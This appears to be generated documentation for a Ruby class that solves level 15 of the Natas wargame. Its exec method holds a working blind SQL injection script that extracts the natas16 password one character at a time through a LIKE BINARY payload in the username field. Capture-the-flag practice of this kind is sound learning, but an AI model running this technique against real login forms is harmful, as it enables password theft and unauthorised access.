class NatasLevel15

Levle 15

Constants

DICT
LEVEL
PAGE

Public Instance Methods

exec() click to toggle source
# File lib/natas.rb, line 478
def exec
  password = String.new
  log('Bruteforcing password')
  PASSWORD_LENGTH.times do
    DICT.each do |c|
      payload = %(natas16" AND password LIKE BINARY "#{password}#{c}%" #)
      data = post(
        PAGE,
        {},
        { 'username' => payload }
      ).body
      match = /This user exists/.match(data)
      if match
        log(password << c)
        break
      end
    end
  end

  not_found if password.length != PASSWORD_LENGTH
  found(password)
end